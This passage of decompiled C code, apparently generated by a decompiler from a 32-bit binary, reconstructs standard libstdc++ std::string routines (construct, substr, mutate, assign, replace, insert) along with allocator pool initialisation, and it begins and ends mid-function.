0, 0) != 0) { // 0x809b342 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v6 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v6 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v7 = (int32_t (*)(char *, char *, int32_t *, int32_t, int32_t, int32_t, int32_t, int32_t))0x809b3d8; // branch -> 0x809b30f } else { v7 = (int32_t (*)(char *, char *, int32_t *, int32_t, int32_t, int32_t, int32_t, int32_t))0x809b33e; } // 0x809b30f result = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(&v1->e0, (int32_t *)g102); std__allocator_lt_char_gt_(); g98 = v4; g102 = v3; g100 = (int32_t)v7; return result; } // Address range: 0x809b3fe - 0x809b54f int32_t std__string___S_construct_lt_char__ptr__gt_(char * a1, char * a2, int32_t * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) { int32_t v1 = g100; // 0x809b3fe int32_t v2 = g102; // 0x809b401 int32_t v3 = g101; // 0x809b402 int32_t v4 = (int32_t)a1; // 0x809b407 g102 = v4; int32_t v5; if (a1 != a2) { // 0x809b411 if (a1 == NULL) { // 0x809b548 v5 = (int32_t)"basic_string::_S_construct NULL not valid"; std____throw_logic_error("basic_string::_S_construct NULL not valid", 0, 0, 0); return g95; } int32_t v6 = (int32_t)a2 - v4; // 0x809b41b g101 = v6; int32_t v7 = std__string___Rep___S_create((int32_t *)v6, &g2->e0); // 0x809b42f int32_t v8 = v7 + 12; // 0x809b436 struct struct_99 * v9 = (struct struct_99 *)v8; // bp-36 if (g101 == 1) { // 0x809b46f *(char *)v8 = *(char *)g102; // branch -> 0x809b454 } else { // 0x809b441 memcpy((int32_t *)v8, (int32_t *)g102, g101); // branch -> 0x809b454 } // 0x809b454 ((struct struct_99 *)v7)->e2 = 0; *(int32_t *)v7 = g101; *(char *)((int32_t)v9 + g101) = 0; g101 = v3; g102 = v2; g100 = v1; return (int32_t)v9; } void (*v10)(); if (g27 == 0) { // 0x809b49d v5 = 0x8132c08; if (__cxa_guard_acquire((char *)&v5, 0, 0, 0, 0, 0, 0, 0, 0) != 0) { // 0x809b4ad g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v5 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v5 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); v10 = (void (*)())0x809b543; // branch -> 0x809b480 } else { v10 = (void (*)())0x809b4a9; } } // 0x809b480 std__allocator_lt_char_gt_(); int32_t v11; g101 = v11; int32_t v12; g102 = v12; g100 = (int32_t)v10; return 0x8134ee8; } // Address range: 0x809b926 - 0x809bc07 int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__640(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9) { int32_t v1 = g102; // 0x809b929 int32_t v2 = g101; // 0x809b92a int32_t v3 = g98; // 0x809b92b g101 = a3; g98 = a4; int32_t v4; // 0x809b976 int32_t v5; // 0x809b9ad int32_t v6; int32_t v7; int32_t v8; int32_t v9; int32_t v10; int32_t v11; int32_t v12; int32_t v13; // bp-56 int32_t v14; // bp-60 int32_t v15; // 0x809b94c int32_t v16; // 0x809b94e int32_t v17; // 0x809b945 uint32_t v18; // 0x809b94c int32_t v19; // 0x809b989 int32_t v20; // 0x809b954 uint32_t v21; // 0x809b947 int32_t v22; // 0x809b961 if (g27 == 0) { // 0x809ba6c v10 = 0x8132c08; if (__cxa_guard_acquire((char *)&v10, 0, 0, 0, 0, 0, 0, 0, 0) != 0) { // 0x809bb3e g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v10 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v10 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x809ba87 } // 0x809ba87 if (g27 == 0) { // 0x809ba8f v10 = 0x8132c08; if (__cxa_guard_acquire((char *)&v10, 0, 0, 0, 0, 0, 0, 0, 0) != 0) { // 0x809baa3 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v10 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v10 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x809b942 } // 0x809b942 v17 = *a2; g97 = v17; v21 = *(int32_t *)(v17 - 12); v18 = g101; v15 = v21 - v18; v16 = g98; v22 = v16; if (v16 >= v15) { // 0x809b952 g98 = v15; v22 = v15; // branch -> 0x809b954 } // 0x809b954 v20 = v18 + v17; if (v21 < v18) { // 0x809bbe0 v10 = (int32_t)"basic_string::basic_string"; std____throw_out_of_range("basic_string::basic_string", 0); std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); v10 = g98; _Unwind_Resume(&v12, NULL, NULL); return g95; } // 0x809b961 v13 = v20 + v22; v14 = v20; v4 = std__string___S_construct_lt_char__ptr__gt_((char *)&v14, (char *)&v13, &v11, 0x1000000 * v22 / 0x1000000, 0, 0, 0, 0); g98 = v4; if (g27 == 0) { // 0x809b9a6 v6 = 0x8132c08; v5 = __cxa_guard_acquire((char *)&v6, (int32_t)a1, (int32_t)a2, a3, a4, a5, a6, a7, a8); if (v5 != 0) { // 0x809b9b6 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v6 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v6 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); *a1 = g98; std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); g98 = v7; g101 = v8; g102 = v9; return &v12; } // 0x809b9a6 v19 = g98; // branch -> 0x809b986 } else { // 0x809b961 v19 = v4; // branch -> 0x809b986 } // 0x809b986 *a1 = v19; std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); g98 = v3; g101 = v2; g102 = v1; return &v12; } } // 0x809b942 v17 = *a2; g97 = v17; v21 = *(int32_t *)(v17 - 12); v18 = g101; v15 = v21 - v18; v16 = g98; v22 = v16; if (v16 >= v15) { // 0x809b952 g98 = v15; v22 = v15; // branch -> 0x809b954 } // 0x809b954 v20 = v18 + v17; if (v21 < v18) { // 0x809bbe0 v10 = (int32_t)"basic_string::basic_string"; std____throw_out_of_range("basic_string::basic_string", 0); std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); v10 = g98; _Unwind_Resume(&v12, NULL, NULL); return g95; } // 0x809b961 v13 = v20 + v22; v14 = v20; v4 = std__string___S_construct_lt_char__ptr__gt_((char *)&v14, (char *)&v13, &v11, 0x1000000 * v22 / 0x1000000, 0, 0, 0, 0); g98 = v4; if (g27 == 0) { // 0x809b9a6 v6 = 0x8132c08; v5 = __cxa_guard_acquire((char *)&v6, (int32_t)a1, (int32_t)a2, a3, a4, a5, a6, a7, a8); if (v5 != 0) { // 0x809b9b6 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v6 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v6 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); *a1 = g98; std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); g98 = v7; g101 = v8; g102 = v9; return &v12; } // 0x809b9a6 v19 = g98; // branch -> 0x809b986 } else { // 0x809b961 v19 = v4; // branch -> 0x809b986 } // 0x809b986 *a1 = v19; std__allocator_lt_char_gt_(); std__allocator_lt_char_gt_(); g98 = v3; g101 = v2; g102 = v1; return &v12; } // Address range: 0x809bc0c - 0x809bc4b int32_t std__string__substr(int32_t a1, int32_t * a2, uint32_t a3, int32_t a4) { int32_t v1 = g100; // 0x809bc0c int32_t v2 = g98; // 0x809bc0f g98 = a1; if (*(int32_t *)(*a2 - 12) < a3) { // 0x809bc44 std____throw_out_of_range("basic_string::substr", a1); return g95; } int32_t v3 = a1; // bp-28 int32_t v4; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__640(&v3, a2, a3, a4, 0, v2, v1, v4, a1); int32_t result = g98; // 0x809bc3a g98 = v2; g100 = v1; return result; } // Address range: 0x809c2d8 - 0x809c543 int32_t std__string___M_mutate(int32_t ** a1, int32_t ** a2, int32_t a3, int32_t a4) { int32_t v1 = g102; // 0x809c2db int32_t v2 = g101; // 0x809c2dc int32_t v3 = g98; // 0x809c2dd int32_t v4 = (int32_t)a2; // 0x809c2e1 g98 = v4; int32_t v5 = (int32_t)a1; // 0x809c2e4 int32_t v6 = *(int32_t *)a1; // 0x809c2e7 g96 = v6; int32_t v7 = *(int32_t *)(v6 - 12); // 0x809c2e9 g97 = a3; uint32_t v8 = a4 - a3 + v7; // 0x809c2f7 struct struct_97 * v9 = (struct struct_97 *)v8; // bp-36 int32_t v10 = v7 - v4; // 0x809c2fc int32_t v11 = v10 - a3; // 0x809c2fe g101 = v11; int32_t result; // 0x809c390 if (v8 <= *(int32_t *)(v6 - 8)) { // 0x809c308 if (*(int32_t *)(v6 - 4) < 1) { int32_t v12 = a3 & -256; int32_t v13 = (int32_t)(a4 == a3) | v12; // 0x809c416 g95 = v13 ^ 1; if (((int32_t)(v10 == a3) || v12) == v13) { // 0x809c386 *(int32_t *)(v6 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } int32_t v14 = v6 + v4; // 0x809c421 int32_t v15 = v14 + a4; // 0x809c427 int32_t v16 = v14 + a3; // 0x809c42a g95 = v16; int32_t v17; // 0x809c4f8 if (v11 == 1) { // 0x809c4f0 *(char *)v15 = *(char *)v16; g95 = v5; v17 = *(int32_t *)a1; g96 = v17; // branch -> 0x809c386 } else { int32_t * v18 = (int32_t *)v16; // 0x809c441 memmove((int32_t *)v15, v18, v11); int32_t v19 = *v18; // 0x809c449 g96 = v19; v17 = v19; // branch -> 0x809c386 } // 0x809c386 *(int32_t *)(v17 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } } // 0x809c313 int32_t ** v20; // 0x809c50d_52 int32_t ** v21; // 0x809c50d_53 int32_t ** v22; // 0x809c50d_54 int32_t ** v23; // 0x809c3f5_0 int32_t v24; // 0x809c334 int32_t v25; // 0x809c33b int32_t v26; // 0x809c356 int32_t v27; // 0x809c401 int32_t v28; // 0x809c345 int32_t v29; // 0x809c35d int32_t v30; // 0x809c384 int32_t v31; // 0x809c3a2 int32_t v32; // 0x809c33f int32_t v33; // 0x809c35f int32_t v34; // 0x809c3a8 int32_t v35; // 0x809c3b3 int32_t v36; // 0x809c3dc if (g27 != 0) { int32_t v37 = *(int32_t *)(v6 - 8); // 0x809c327 v24 = std__string___Rep___S_create(&v9->e0, &((struct struct_98 *)v37)->e0); g102 = v24; v25 = g98; if (v25 == 0) { // 0x809c356 v26 = g101; v22 = a1; if (v26 != 0) { v36 = v26; v20 = a1; // 0x809c39f v31 = g98; v34 = a4 + 12 + g102 + v31; v35 = *(int32_t *)v20 + v31 + a3; if (v36 == 1) { // 0x809c3bb *(char *)v34 = *(char *)v35; v22 = v20; // branch -> 0x809c35a } else { // 0x809c3dc memcpy((int32_t *)v34, (int32_t *)v35, v36); v22 = (int32_t **)v35; // branch -> 0x809c35a } // 0x809c35a v29 = *(int32_t *)v22; v33 = v29 - 12; g98 = v33; v21 = v22; if (v33 != 0x8134edc) { // 0x809c4ff if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) { // 0x809c51a std__string___Rep___M_destroy((int32_t *)g98); v21 = (int32_t **)-1; // branch -> 0x809c36e } else { v21 = (int32_t **)-1; } } // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } // 0x809c35a v29 = *(int32_t *)v22; v33 = v29 - 12; g98 = v33; v21 = v22; if (v33 == 0x8134edc) { // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } // 0x809c4ff if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) { // 0x809c51a std__string___Rep___M_destroy((int32_t *)g98); v21 = (int32_t **)-1; // branch -> 0x809c36e } else { v21 = (int32_t **)-1; } // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } // 0x809c33f v32 = v24 + 12; v28 = *(int32_t *)a1; if (v25 == 1) { // 0x809c350 *(char *)v32 = *(char *)v28; // branch -> 0x809c356 // 0x809c356 v26 = g101; if (v26 != 0) { v36 = v26; v20 = a1; // 0x809c39f v31 = g98; v34 = a4 + 12 + g102 + v31; v35 = *(int32_t *)v20 + v31 + a3; if (v36 == 1) { // 0x809c3bb *(char *)v34 = *(char *)v35; v22 = v20; // branch -> 0x809c35a } else { // 0x809c3dc memcpy((int32_t *)v34, (int32_t *)v35, v36); v22 = (int32_t **)v35; // branch -> 0x809c35a } // 0x809c35a v29 = *(int32_t *)v22; v33 = v29 - 12; g98 = v33; v21 = v22; if (v33 != 0x8134edc) { // 0x809c4ff if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) { // 0x809c51a std__string___Rep___M_destroy((int32_t *)g98); v21 = (int32_t **)-1; // branch -> 0x809c36e } else { v21 = (int32_t **)-1; } } // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } v22 = a1; } else { // 0x809c3f1 v23 = (int32_t **)v28; memcpy((int32_t *)v32, (int32_t *)v28, v25); v27 = g101; if (v27 != 0) { v36 = v27; v20 = v23; // 0x809c39f v31 = g98; v34 = a4 + 12 + g102 + v31; v35 = *(int32_t *)v20 + v31 + a3; if (v36 == 1) { // 0x809c3bb *(char *)v34 = *(char *)v35; v22 = v20; // branch -> 0x809c35a } else { // 0x809c3dc memcpy((int32_t *)v34, (int32_t *)v35, v36); v22 = (int32_t **)v35; // branch -> 0x809c35a } // 0x809c35a v29 = *(int32_t *)v22; v33 = v29 - 12; g98 = v33; v21 = v22; if (v33 != 0x8134edc) { // 0x809c4ff if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) { // 0x809c51a std__string___Rep___M_destroy((int32_t *)g98); v21 = (int32_t **)-1; // branch -> 0x809c36e } else { v21 = (int32_t **)-1; } } // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } v22 = v23; } // 0x809c35a v29 = *(int32_t *)v22; v33 = v29 - 12; g98 = v33; v21 = v22; if (v33 != 0x8134edc) { // 0x809c4ff if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) { // 0x809c51a std__string___Rep___M_destroy((int32_t *)g98); v21 = (int32_t **)-1; // branch -> 0x809c36e } else { v21 = (int32_t **)-1; } } // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } // 0x809c3c2 if (__cxa_guard_acquire((char *)0x8132c08, v5, v4, a3, a4, 0, 0, 0, 0) == 0) { // 0x809c3d2 // branch -> 0x809c320 } else { // 0x809c450 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); g97 = v5; // branch -> 0x809c320 } struct struct_98 * v38 = (struct struct_98 *)*(int32_t *)(*(int32_t *)a1 - 8); // 0x809c32a_0 v24 = std__string___Rep___S_create(&v9->e0, &v38->e0); g102 = v24; v25 = g98; if (v25 == 0) { // 0x809c356 v26 = g101; v22 = a1; if (v26 == 0) { // 0x809c35a v29 = *(int32_t *)v22; v33 = v29 - 12; g98 = v33; v21 = v22; if (v33 != 0x8134edc) { // 0x809c4ff if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) { // 0x809c51a std__string___Rep___M_destroy((int32_t *)g98); v21 = (int32_t **)-1; // branch -> 0x809c36e } else { v21 = (int32_t **)-1; } } // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } v36 = v26; v20 = a1; // 0x809c39f v31 = g98; v34 = a4 + 12 + g102 + v31; v35 = *(int32_t *)v20 + v31 + a3; if (v36 == 1) { // 0x809c3bb *(char *)v34 = *(char *)v35; v22 = v20; // branch -> 0x809c35a } else { // 0x809c3dc memcpy((int32_t *)v34, (int32_t *)v35, v36); v22 = (int32_t **)v35; // branch -> 0x809c35a } // 0x809c35a v29 = *(int32_t *)v22; v33 = v29 - 12; g98 = v33; v21 = v22; if (v33 != 0x8134edc) { // 0x809c4ff if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) { // 0x809c51a std__string___Rep___M_destroy((int32_t *)g98); v21 = (int32_t **)-1; // branch -> 0x809c36e } else { v21 = (int32_t **)-1; } } // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } // 0x809c33f v32 = v24 + 12; v28 = *(int32_t *)a1; if (v25 == 1) { // 0x809c350 *(char *)v32 = *(char *)v28; // branch -> 0x809c356 // 0x809c356 v26 = g101; if (v26 != 0) { v36 = v26; v20 = a1; // 0x809c39f v31 = g98; v34 = a4 + 12 + g102 + v31; v35 = *(int32_t *)v20 + v31 + a3; if (v36 == 1) { // 0x809c3bb *(char *)v34 = *(char *)v35; v22 = v20; // branch -> 0x809c35a } else { // 0x809c3dc memcpy((int32_t *)v34, (int32_t *)v35, v36); v22 = (int32_t **)v35; // branch -> 0x809c35a } // 0x809c35a v29 = *(int32_t *)v22; v33 = v29 - 12; g98 = v33; v21 = v22; if (v33 != 0x8134edc) { // 0x809c4ff if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) { // 0x809c51a std__string___Rep___M_destroy((int32_t *)g98); v21 = (int32_t **)-1; // branch -> 0x809c36e } else { v21 = (int32_t **)-1; } } // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } v22 = a1; } else { // 0x809c3f1 v23 = (int32_t **)v28; memcpy((int32_t *)v32, (int32_t *)v28, v25); v27 = g101; if (v27 != 0) { v36 = v27; v20 = v23; // 0x809c39f v31 = g98; v34 = a4 + 12 + g102 + v31; v35 = *(int32_t *)v20 + v31 + a3; if (v36 == 1) { // 0x809c3bb *(char *)v34 = *(char *)v35; v22 = v20; // branch -> 0x809c35a } else { // 0x809c3dc memcpy((int32_t *)v34, (int32_t *)v35, v36); v22 = (int32_t **)v35; // branch -> 0x809c35a } // 0x809c35a v29 = *(int32_t *)v22; v33 = v29 - 12; g98 = v33; v21 = v22; if (v33 != 0x8134edc) { // 0x809c4ff if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) { // 0x809c51a std__string___Rep___M_destroy((int32_t *)g98); v21 = (int32_t **)-1; // branch -> 0x809c36e } else { v21 = (int32_t **)-1; } } // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } v22 = v23; } // 0x809c35a v29 = *(int32_t *)v22; v33 = v29 - 12; g98 = v33; v21 = v22; if (v33 != 0x8134edc) { // 0x809c4ff if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) { // 0x809c51a std__string___Rep___M_destroy((int32_t *)g98); v21 = (int32_t **)-1; // branch -> 0x809c36e } else { v21 = (int32_t **)-1; } } // 0x809c36e *v21 = (int32_t *)(g102 + 12); std__allocator_lt_char_gt_(); g95 = (int32_t)v21; v30 = *(int32_t *)v21; g96 = v30; // branch -> 0x809c386 // 0x809c386 *(int32_t *)(v30 - 4) = 0; result = (int32_t)v9; *(int32_t *)(g96 - 12) = result; *(char *)(g96 + result) = 0; g98 = v3; g101 = v2; g102 = v1; return result; } // Address range: 0x809c544 - 0x809c5a9 int32_t std__string___M_replace_safe(int32_t * a1, int32_t ** a2, int32_t a3, char * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10) { // 0x809c544 g101 = (int32_t)a1; g102 = (int32_t)a2; g98 = a5; std__string___M_mutate((int32_t **)a1, a2, a3, a5); if (g98 == 0) { // 0x809c58d return g101; } int32_t v1 = g102 + *(int32_t *)g101; // 0x809c573 int32_t v2 = (int32_t)a4; // 0x809c597 if (g98 != 1) { // 0x809c57a g95 = v2; memcpy((int32_t *)v1, (int32_t *)a4, g98); // branch -> 0x809c58d // 0x809c58d return g101; } // 0x809c597 g96 = v2; unsigned char v3 = *a4; // 0x809c59a g95 = v3; *(char *)v1 = v3; return g101; } // Address range: 0x809c5aa - 0x809c667 int32_t std__string__assign(int32_t ** a1, char * a2, char * a3) { int32_t v1 = g101; // 0x809c5ad int32_t v2 = g98; // 0x809c5ae int32_t v3 = (int32_t)a1; // 0x809c5b2 g98 = v3; int32_t v4 = (int32_t)a2; // 0x809c5b5 g96 = v4; int32_t v5 = (int32_t)a3; // 0x809c5b8 g101 = v5; int32_t v6 = *(int32_t *)a1; // 0x809c5bb int32_t v7 = v6; int32_t result; // 0x809c5ef int32_t v8; // 0x809c663 if (a3 > (char *)0x3ffffffc) { // 0x809c647 std____throw_length_error("basic_string::assign", v3, v4, v5); // branch -> 0x809c653 // 0x809c653 memmove((int32_t *)g97, (int32_t *)g96, g101); v8 = *(int32_t *)g98; v7 = v8; // branch -> 0x809c61e // 0x809c61e *(int32_t *)(v8 - 4) = 0; *(int32_t *)(v7 - 12) = g101; *(char *)(g101 + v7) = 0; result = g98; // branch -> 0x809c5ef } else { int32_t v9 = v4 - v6; // 0x809c5c8 if (v4 >= v6) { // 0x809c5f8 if (v4 <= *(int32_t *)(v6 - 12) + v6) { // 0x809c5ff if (*(int32_t *)(v6 - 4) <= 0) { // 0x809c606 g95 = v9; unsigned char v10; // 0x809c617 int32_t v11; // 0x809c61c int32_t v12; // 0x809c61e if (v5 <= v9) { // 0x809c62e if (a3 == (char *)1) { // 0x809c617 v10 = *a2; g95 = v10; *(char *)v6 = v10; v11 = *(int32_t *)g98; v7 = v11; v12 = v11; // branch -> 0x809c61e } else { // 0x809c633 memcpy((int32_t *)v6, (int32_t *)a2, v5); int32_t v13 = *(int32_t *)g98; // 0x809c643 v7 = v13; v12 = v13; // branch -> 0x809c61e } // 0x809c61e *(int32_t *)(v12 - 4) = 0; *(int32_t *)(v7 - 12) = g101; *(char *)(g101 + v7) = 0; result = g98; // branch -> 0x809c5ef // 0x809c5ef g98 = v2; g101 = v1; return result; } // 0x809c60e if (v4 != v6) { // 0x809c612 if (a3 == (char *)1) { // 0x809c617 v10 = *a2; g95 = v10; *(char *)v6 = v10; v11 = *(int32_t *)g98; v7 = v11; v12 = v11; // branch -> 0x809c61e } else { // 0x809c653 memmove((int32_t *)v6, (int32_t *)v4, v5); v8 = *(int32_t *)g98; v7 = v8; v12 = v8; // branch -> 0x809c61e } // 0x809c61e *(int32_t *)(v12 - 4) = 0; *(int32_t *)(v7 - 12) = g101; *(char *)(g101 + v7) = 0; result = g98; // branch -> 0x809c5ef // 0x809c5ef g98 = v2; g101 = v1; return result; } // 0x809c61e *(int32_t *)(v4 - 4) = 0; *(int32_t *)(v7 - 12) = g101; *(char *)(g101 + v7) = 0; result = g98; // branch -> 0x809c5ef // 0x809c5ef g98 = v2; g101 = v1; return result; } } } int32_t v14 = *(int32_t *)(*(int32_t *)a1 - 12); // 0x809c5d6 result = std__string___M_replace_safe((int32_t *)a1, (int32_t **)g2, v14, a2, v5, 0, 0, 0, v2, v1); // branch -> 0x809c5ef } // 0x809c5ef g98 = v2; g101 = v1; return result; } // Address range: 0x809c6e8 - 0x809c71b int32_t std__string__operator_eq_(int32_t ** a1, char * str) { // 0x809c6e8 return std__string__assign(a1, (char *)(int32_t)str, (char *)strlen(str)); } // Address range: 0x809c71c - 0x809c7a3 int32_t std__string___M_replace_aux(int32_t * a1, int32_t ** a2, int32_t a3, uint32_t a4, unsigned char a5, int32_t a6, int32_t * a7, int32_t a8, int32_t * a9, int32_t ** a10) { int32_t v1 = g102; // 0x809c71f int32_t v2 = g101; // 0x809c720 int32_t v3 = g98; // 0x809c721 g98 = (int32_t)a1; g101 = a4; g102 = a5; if (0x3ffffffc - (*(int32_t *)(*a1 - 12) - a3) < a4) { // 0x809c797 std____throw_length_error("basic_string::_M_replace_aux", 0, 0, 0); return g95; } // 0x809c744 std__string___M_mutate((int32_t **)a1, a2, a3, a4); int32_t result; // 0x809c781 if (g101 == 0) { // 0x809c781 result = g98; g98 = v3; g101 = v2; g102 = v1; return result; } int32_t v4 = *(int32_t *)g98 + (int32_t)a2; // 0x809c762 int32_t v5 = 0x1000000 * g102 / 0x1000000; // 0x809c766 if (g101 == 1) { // 0x809c78b *(char *)v4 = (char)v5; int32_t result2 = g98; // 0x809c78d g98 = (int32_t)a7; g101 = a8; g102 = (int32_t)a9; return result2; } // 0x809c76e memset((int32_t *)v4, v5, g101); // branch -> 0x809c781 // 0x809c781 result = g98; g98 = v3; g101 = v2; g102 = v1; return result; } // Address range: 0x809c876 - 0x809c8bf int32_t std__string__insert_649(int32_t * a1, int32_t ** a2, int32_t a3, char a4) { int32_t v1 = g100; // 0x809c876 int32_t v2 = g98; // 0x809c879 int32_t v3 = (int32_t)a1; // 0x809c87d g98 = v3; if ((int32_t)a2 > *(int32_t *)(*a1 - 12)) { // 0x809c8b3 std____throw_out_of_range("basic_string::insert", v3); return g95; } // 0x809c88e int32_t v4; int32_t result = std__string___M_replace_aux(a1, a2, (int32_t)g2, a3, a4, v2, (int32_t *)v1, v4, a1, a2); // 0x809c8a8 g98 = v2; g100 = v1; return result; } // Address range: 0x809c8f4 - 0x809c92f int32_t std__string__operator_eq__651(int32_t * a1, int32_t ** a2) { int32_t v1 = g100; // 0x809c8f4 int32_t v2 = g98; // 0x809c8f7 g98 = 